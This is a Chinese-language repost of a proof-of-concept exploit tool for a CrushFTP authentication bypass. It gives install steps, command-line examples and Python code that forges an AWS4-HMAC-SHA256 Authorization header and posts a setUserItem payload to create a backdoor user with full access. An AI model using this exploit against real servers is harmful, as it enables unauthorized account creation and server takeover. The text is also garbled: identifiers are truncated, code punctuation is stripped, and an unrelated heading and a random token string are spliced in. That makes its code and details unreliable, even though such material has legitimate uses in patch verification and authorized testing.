核心内容摘要
生命之泉:女性能量的涌动与释放
CVE-
漏洞利用与分析工具项目描述本项目是一个针对CVE-
的概念验证PoC漏洞利用工具。
该漏洞存在于CrushFTP软件中是一个**关键级别CVSS
8**的身份验证绕过漏洞允许攻击者在无需任何凭证的情况下创建新的用户账户获得对受影响CrushFTP服务器的完全访问权限。
受影响版本CrushFTP
10.
0–
10.
3CrushFTP
11.
0–
11.
0已修复版本
10.
4 和
11.
1功能特性核心漏洞利用功能身份验证绕过利用AWS4-HMAC-SHA256认证机制中的逻辑缺陷通过特制的Authorization头绕过身份验证检查任意用户创建无需有效凭证即可在目标系统上创建新用户账户自定义配置支持指定目标用户名、新创建用户的用户名和密码灵活的端口设置可配置目标服务器的HTTP端口默认8080技术特性完整的HTTP请求构造精确模拟漏洞触发所需的HTTP请求格式预热检测机制包含目标可达性检测提高利用成功率详细的状态反馈提供每一步操作的执行状态和结果信息命令行参数支持通过argparse提供丰富的命令行选项安全研究价值教育研究帮助安全研究人员理解该漏洞的利用原理安全测试用于授权范围内的渗透测试和漏洞验证修复验证验证CrushFTP服务器是否已正确应用安全补丁安装指南系统要求Python
6 或更高版本网络访问权限用于连接到目标服务器必要的权限仅在授权测试环境中使用依赖安装该工具依赖于requests库发送HTTP请求pipinstallrequests或者通过requirements.txt安装pipinstall-r requirements.txt快速安装克隆项目并直接运行gitclone https://github.com/B1ack4sh/Blackash-CVE-2025-
gitcdBlackash-CVE-
python cve-2025-
py --help使用说明基本用法最基本的用法只需要指定目标主机python cve-2025-
py --target_host
192.
168.
100完整参数示例python cve-2025-
py\--target_host vulnerable-server.example.com\--port8080\--target_user crushadmin\--new_user BackdoorAdmin\--password Pssw0rd123!命令行参数详解参数描述默认值必需--target_host目标服务器主机名或IP地址无是--portCrushFTP Web接口端口8080否--target_user目标存在的用户名用于伪造crushadmin否--new_user要创建的新用户名AuthBypassAccount否--password新用户的密码CorrectHorseBatteryStaple否--help显示帮助信息--使用示例示例1针对默认配置的测试python cve-2025-
py --target_host
10.
0.
5这将尝试在
10.
0.
5:8080上使用默认参数创建用户。
示例2自定义用户创建python cve-2025-
py\--target_host ftp.company.com\--port80\--new_user pentester\--password Test123456示例3指定不同的目标用户python cve-2025-
py\--target_host
192.
168.
5
101\--target_user admin\--new_user system_access\--password SecurePass!2024输出说明工具执行时会显示详细的进度信息[] Preparing Payloads [-] Warming up the target [-] Target is up and running [] Sending Account Create Request [!] User created successfully [] Exploit Complete you can now login with [*] Username: pentester [*] Password: Test
123456.
注意事项合法使用仅在你拥有明确授权的系统上进行测试风险警告在未经授权的系统上使用此工具可能违反法律修复验证运行此工具前请确保目标系统已更新到修复版本或已获得测试授权环境影响成功利用将创建新的系统用户可能影响系统安全状态核心代码主漏洞利用函数defexploit(target_host,port,target_user,new_user,password): 利用CVE-
漏洞在目标CrushFTP服务器上创建新用户 参数: target_host: 目标服务器主机名或IP地址 port: CrushFTP Web接口端口 target_user: 目标系统中存在的用户名用于伪造请求 new_user: 要创建的新用户名 password: 新用户的密码 print([] Preparing Payloads)# 构造目标URLwarm_up_urlfhttp://{target_host}:{port}/WebInterface/function/create_user_urlfhttp://{target_host}:{port}/WebInterface/function/# 构造利用漏洞所需的HTTP头# 关键点Authorization头中的错误格式触发身份验证绕过headers{Cookie:currentAuth31If; CrushAuth1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If,Authorization:AWS4-HMAC-SHA256 Credentialcrushadmin/,Connection:close,}# 构造创建用户的XML payload# 包含新用户的完整配置信息payload{command:setUserItem,data_action:replace,serverGroup:MainUsers,username:new_user,user:f?xml version
0 encodingUTF-8?user typepropertiesuser_name{new_user}/user_namepassword{password}/passwordextra_vfs typevector/extra_vfsversion
0/versionroot_dir//root_diruserVersion6/userVersionmax_logins0/max_loginssite(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)/sitecreated_by_username{target_user}/created_by_usernamecreated_by_email/created_by_emailcreated_time1744120753370/created_timepassword_history/password_history/user,xmlItem:user,vfs_items:?xml version
0 encodingUTF-8?vfs typevector/vfs,permissions:?xml version
0 encodingUTF-8?VFS typepropertiesitem name/(read)(view)(resume)/item/VFS,c2f:31If}# 第一步预热目标服务器检查可达性print( [-] Warming up the target)try:warm_up_requestrequests.get(warm_up_url,headersheaders,timeout
ifwarm_up_request.status_code200:print( [-] Target is up and running)exceptrequests.exceptions.ConnectionError:print( [-] Request timed out, continuing with exploit)# 第二步发送创建用户的请求print([] Sending Account Create Request)create_user_requestrequests.post(create_user_url,headersheaders,datapayload)# 检查请求是否成功ifcreate_user_request.status_code!200:print( [-] Failed to send request)print( [] Status code:,create_user_request.status_code)# 检查响应中是否包含成功标识ifresponse_statusOK/response_statusincreate_user_request.text:print( [!] User created successfully)命令行参数解析if__name____main__: 主程序入口点处理命令行参数并调用漏洞利用函数 # 创建参数解析器parserArgumentParser(descriptionExploit CVE-
to create a new account)# 定义命令行参数parser.add_argument(--target_host,helpTarget host)parser.add_argument(--port,typeint,helpTarget port,default
parser.add_argument(--target_user,helpTarget user,defaultcrushadmin)parser.add_argument(--new_user,helpNew user to create,defaultAuthBypassAccount)parser.add_argument(--password,helpPassword for the new user,defaultCorrectHorseBatteryStaple)# 解析命令行参数argsparser.parse_args()# 验证必需参数ifnotargs.target_host:print( [-] Target host not specified)parser.print_help()exit(
# 调用漏洞利用函数exploit(target_hostargs.target_host,portargs.port,target_userargs.target_user,new_userargs.new_user,passwordargs.password)# 输出成功信息print(f[] Exploit Complete you can now login with\n [*] Username:{args.new_user}\n [*] Password:{args.password}.)漏洞原理说明# 关键漏洞触发点分析##
AWS4-HMAC-SHA256认证机制缺陷# Authorization: AWS4-HMAC-SHA256 Credentialcrushadmin/# 注意这里的Credential值以斜杠结尾这种格式会触发身份验证逻辑中的错误##
逻辑缺陷# - 认证解析器在解析Credential时可能出现索引越界# - 导致后续的身份验证检查被跳过# - 允许使用任意已知用户名如crushadmin但无需密码##
利用方式# - 通过setUserItem命令创建新用户# - XML格式的用户数据直接嵌入在POST参数中# - 伪造created_by_username字段为存在的用户##
成功条件# - 服务器响应中包含response_statusOK/response_status# - 新用户将具有完整的访问权限读、查看、恢复等漏洞技术细节根据漏洞描述CVE-
的核心问题在于认证机制CrushFTP使用了AWS4-HMAC-SHA256认证方案解析错误当Authorization头包含格式错误的Credential时如Credentialcrushadmin/边界条件解析器可能出现索引越界错误绕过结果完全跳过用户验证允许未经授权的操作该漏洞已被添加到CISA的已知被利用漏洞KEV目录中表明其在实际攻击中被广泛利用。
FINISHED6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ6p0TxqPwO1tsBau7No6Sln更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享